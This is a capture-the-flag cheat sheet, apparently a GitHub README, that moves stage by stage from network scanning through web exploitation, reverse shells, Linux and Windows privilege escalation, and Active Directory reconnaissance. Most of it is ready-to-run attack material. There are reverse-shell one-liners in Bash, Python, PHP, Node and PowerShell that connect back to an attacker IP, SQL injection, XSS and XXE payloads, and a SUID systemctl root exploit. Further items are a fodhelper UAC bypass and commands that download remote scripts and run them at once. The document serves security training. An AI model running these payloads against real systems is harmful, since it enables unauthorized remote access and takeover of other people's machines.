CTF_CheatSheet/README.md

# CTF_CheatSheet

## **Stage 1 – Lay of the Land (Enumeration)**

### Active Reconnaissance

| Tool | Purpose | Key Command |
|------|---------|------------|
| **Nmap** | Port scanning & service detection | `nmap -sV -sC -oA nmap/basic [IP]` |
| **Masscan** | Ultra-fast port scanning | `masscan [IP] -p 1-65535 --rate 10000 -oX masscan.xml` |
| **Netdiscover** | ARP discovery on local network | `netdiscover -i [INTERFACE]` |
| **RPC Client** | Enumerate RPC services & null sessions | `rpcclient -U "" [IP]` |
| **Enum4Linux** | SMB/LDAP/RPC enumeration | `enum4linux [IP]` |

### Passive Reconnaissance

| Tool | Purpose |
|------|---------|
| **Shodan** | Internet-wide device search |
| **Wayback Machine** | Historical website snapshots |
| **The Harvester** | Email and subdomain enumeration |
| **DNS Recon** | DNS enumeration and zone transfers |

### Directory & File Enumeration

| Tool | Command |
|------|---------|
| **Gobuster (HTTP)** | `gobuster dir -u http://[URL] -w [wordlist] -t 10 -r` |
| **Gobuster (DNS)** | `gobuster dns -d [domain] -w [wordlist]` |
| **Dirb** | `dirb http://[URL] /path/to/wordlist` |
| **FFuF** | `ffuf -u http://[URL]/FUZZ -w [wordlist] -mc 200,204,301,302,307,401,403` |

---

## **Nmap Deep Dive**

```bash
# Basic comprehensive scan
nmap -sV -sC -oA nmap/basic [IP]

# All ports with version detection
nmap -p- -sV -oA nmap/full [IP]

# Aggressive scan with OS detection
nmap -A -T4 [IP]

# UDP scan
nmap -sU -p 53,161,162,445,500 [IP]

# Stealth scan (SYN)
nmap -sS -p- [IP]

# Script scan (NSE)
nmap --script vuln [IP]

# Service version enumeration
nmap -sV --script smb-enum-shares -p 445 [IP]
```

### Nmap Command Reference

**HOST DISCOVERY:**
- `-sL` – List Scan
- `-sn` – Ping Scan (no port scan)
- `-Pn` – Skip host discovery, treat all as online

**SCAN TECHNIQUES:**
- `-sS` – TCP SYN (stealthy)
- `-sT` – TCP Connect
- `-sU` – UDP Scan
- `-sA` – ACK Scan
- `-sN/-sF/-sX` – NULL/FIN/Xmas Scans

**PORT SPECIFICATION:**
- `-p 22,80,443` – Specific ports
- `-p 1-65535` – All ports
- `-p U:53,T:80` – Mixed UDP/TCP

**OUTPUT:**
- `-oN` – Normal
- `-oX` – XML
- `-oG` – Grepable
- `-oA` – All formats

---

## **Masscan Reference**

```bash
# Fast scan all ports
masscan [IP/CIDR] -p 1-65535 --rate 10000 -oX output.xml

# Grab banners
masscan [IP/CIDR] -p 80,443,8080 --banners -oX output.xml

# Read and convert binary results
masscan --open --banners --readscan input.bin -oX output.xml
```

---

## **Stage 2 – Initial Access (Foothold)**

### Web Exploitation

#### Common Web Vulns to Exploit

| Vulnerability | Description | Exploitation |
|---|---|---|
| **SQL Injection** | Database query manipulation | `' OR '1'='1'; --` |
| **XSS** | JavaScript injection in DOM | `<img src=x onerror="alert('XSS')">` |
| **CSRF** | Cross-Site Request Forgery | Forge requests with valid session tokens |
| **Path Traversal** | Access files outside intended dir | `../../../etc/passwd` |
| **XXE** | XML External Entity injection | `<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>` |
| **SSRF** | Server-Side Request Forgery | `http://localhost:8080/admin` |
| **Command Injection** | OS command execution | `; cat /etc/passwd` |
| **LFI/RFI** | Local/Remote File Inclusion | `?file=../../../../etc/passwd` |

#### SQLMap

```bash
# Basic SQL injection test
sqlmap -u "http://[URL]?id=1" --dbs

# Dump all databases
sqlmap -u "http://[URL]?id=1" --dump-all

# OS shell
sqlmap -u "http://[URL]?id=1" --os-shell

# POST request
sqlmap -u "http://[URL]" --data="user=admin&pass=test" -p user --dbs
```

#### Burp Suite Workflow

1. **Capture traffic** in Proxy
2. **Send to Repeater** for manual testing
3. **Send to Intruder** for fuzzing/brute force
4. **Scanner** for automated vulnerability detection
5. **Decoder** for encoding/decoding payloads

#### Web Shell Uploads

```bash
# Test file upload with shell
# Common shell names: shell.php, index.php, upload.php

# Check upload bypass techniques:
# - shell.php.jpg
# - shell.jpg.php
# - shell.php%00.jpg
# - shell.phtml
# - shell.shtml
# - shell.phar
```

### Reverse Shells & Initial Access

#### Listener Setup

```bash
# Netcat listener
nc -lvnp [PORT]

# Multi-handler (Metasploit)
msfconsole
> use exploit/multi/handler
> set PAYLOAD windows/meterpreter/reverse_tcp
> set LHOST [YOUR_IP]
> set LPORT [PORT]
> run
```

#### Reverse Shell Payloads

| Language | Command |
|----------|---------|
| **Bash** | `bash -i >& /dev/tcp/[IP]/[PORT] 0>&1` |
| **Python** | `python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[IP]",[PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'` |
| **PHP** | `php -r '$sock=fsockopen("[IP]",[PORT]);exec("/bin/sh -i <&3 >&3 2>&3");'` |
| **Node.js** | `require('child_process').exec("bash -c 'bash -i >& /dev/tcp/[IP]/[PORT] 0>&1'");` |
| **PowerShell** | `powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IP]",[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535\|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()` |
| **Java** | See payload generators at http://www.jackson-t.ca/runtime-exec-payloads.html |


#### PentestMonkey PHP Reverse Shell
php-reverse-shell - A Reverse Shell implementation in PHP
**PentestMonkey PHP Reverse Shell:** A Reverse Shell implementation in PHP - Check https://github.com/pentestmonkey/php-reverse-shell

#### Upgrade Shell to TTY (Linux)

```bash
# Check if TTY
tty

# Upgrade with Python
python3 -c "import pty;pty.spawn('/bin/bash')"

# Full interactive terminal
stty raw -echo; fg
export TERM=xterm
```

#### Windows Reverse Shell (PowerShell)

```powershell
# Powershell reverse shell
$client = New-Object System.Net.Sockets.TCPClient("[IP]",[PORT])
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendback2 = $sendback + "PS " + (pwd).Path + "> "
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()

# One-liner
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('[IP]',[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

---

## **Stage 3 – Privilege Escalation**

### Linux Privilege Escalation

#### Quick Enumeration

```bash
# Check current user and groups
id
whoami
groups

# Kernel version
uname -a
cat /etc/os-release

# Check SUID binaries
find / -user root -perm -4000 2>/dev/null

# Check for writable directories
find / -type d -writable 2>/dev/null

# Check sudo permissions
sudo -l

# Check cron jobs
crontab -l
cat /etc/cron* -l

# Check installed applications
apt list --installed
pip list
npm list -g
```

#### SUID Exploitation

**Find SUID binaries:**
```bash
find / -user root -perm -4000 2>/dev/null
```

**Exploit with GTFOBins:** Check https://gtfobins.github.io/ for SUID/sudo escapes

**Common SUID Exploits:**

```bash
# systemctl privilege escalation
cd /tmp
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cp /bin/bash /tmp/bash;chmod +s /tmp/bash"
[Install]
WantedBy=multi-user.target' > $TF
systemctl link $TF
systemctl enable --now $TF
/tmp/bash -p

# Find library injection opportunities
ldd /path/to/suid/binary

# Shared library hijacking
mkdir -p /tmp/lib
echo 'int __libc_start_main() { system("bash"); return 0; }' > /tmp/lib/evil.c
gcc -shared -fPIC /tmp/lib/evil.c -o /tmp/lib/evil.so
LD_LIBRARY_PATH=/tmp/lib:/usr/lib /path/to/suid/binary
```

#### Capability Escalation

```bash
# Check for capabilities
getcap -r / 2>/dev/null

# Exploit (example: cap_setuid)
# Look up on GTFOBins for specific binary
```

#### Sudo Exploitation

```bash
# Check sudo permissions
sudo -l

# If ALL=(ALL) NOPASSWD: /usr/bin/python3
sudo /usr/bin/python3 -c "import os;os.system('/bin/bash')"

# Exploiting wildcards in sudo commands
# If: sudo /usr/bin/script.sh /tmp/*
# Create: /tmp/evil.sh
```

#### Kernel Exploitation

```bash
# Find kernel exploits
# Use: searchsploit, Exploit-DB

# Common kernels:
# 4.4.0-21 – CVE-2016-5195 (Dirty COW)
# 5.4.0 – overlayfs exploit
gcc -o exploit exploit.c
./exploit
```

#### PEASS Enumeration

```bash
# Download and run linPEAS
curl https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash

# Or:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
```

---

### Windows Privilege Escalation

#### Quick Enumeration

```powershell
# Current user and groups
whoami
whoami /groups
net user %USERNAME%

# System info
systeminfo
Get-ComputerInfo

# Check privileges
whoami /priv

# List installed applications
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select DisplayName
```

#### Windows Privilege Escalation Vectors

| Vector | Check | Exploitation |
|--------|-------|--------------|
| **Unquoted Service Paths** | `wmic service list brief` | Place exe in path before target |
| **Weak Service Permissions** | `accesschk.exe -ucqv [SERVICE]` | Modify service binary or path |
| **AlwaysInstallElevated** | Registry check | `msiexec /i shell.msi /qn` |
| **Scheduled Tasks** | `schtasks /query /v` | Replace task binary |
| **Weak Registry Permissions** | Check ACLs on HKLM | Modify to point to malicious binary |
| **Kernel Exploits** | `systeminfo` for OS version | Search Exploit-DB |
| **UAC Bypass** | Check UAC status | Use bypassuac tools or exploits |

#### WinPEAS

```powershell
# Download and run WinPEAS
IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')

# Or direct binary
.\winPEASx64.exe
```

#### Common Windows Exploits

```powershell
# Unquoted service path exploitation
# Service: C:\Program Files\App\Service.exe
# Create: C:\Program.exe or C:\Program Files\App.exe

# AlwaysInstallElevated exploitation
msiexec /i malicious.msi /qn /norestart

# Scheduled task exploitation (if you can write to task location)
schtasks /create /tn evil /tr "C:\path\to\malicious.exe" /sc minute /mo 1

# UAC bypass - fodhelper.exe
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Value "cmd.exe /c C:\path\to\payload.exe" -Force
fodhelper.exe
```

---

## **Stage 4 – Active Directory (AD)**

### AD Enumeration

#### Basic Tools & Commands

```powershell
# Get domain info
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# List domain users
Get-ADUser -Filter * | Select Name, SamAccountName

# List domain groups
Get-ADGroup -Filter * | Select Name

# List group members
Get-ADGroupMember "Domain Admins"

# Check current user's groups
whoami /groups

# Find trusts
Get-ADTrust -Filter *
```

#### PowerView (AD Recon Toolkit)

```powershell
# Download PowerView
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')

# Get domain info
Get-NetDomain
Get-NetForest

# Enumerate users
Get-NetUser | Select name, lastlogon, pwdlastset
Get-NetUser -UACFilter DONT_EXPIRE_PASSWORD

# Find interesting shares
Invoke-ShareFinder

# Get group membership
Get-NetGroup "Domain Admins" | Get-NetGroupMember

# Find admin users
Get-NetUser -Admin
```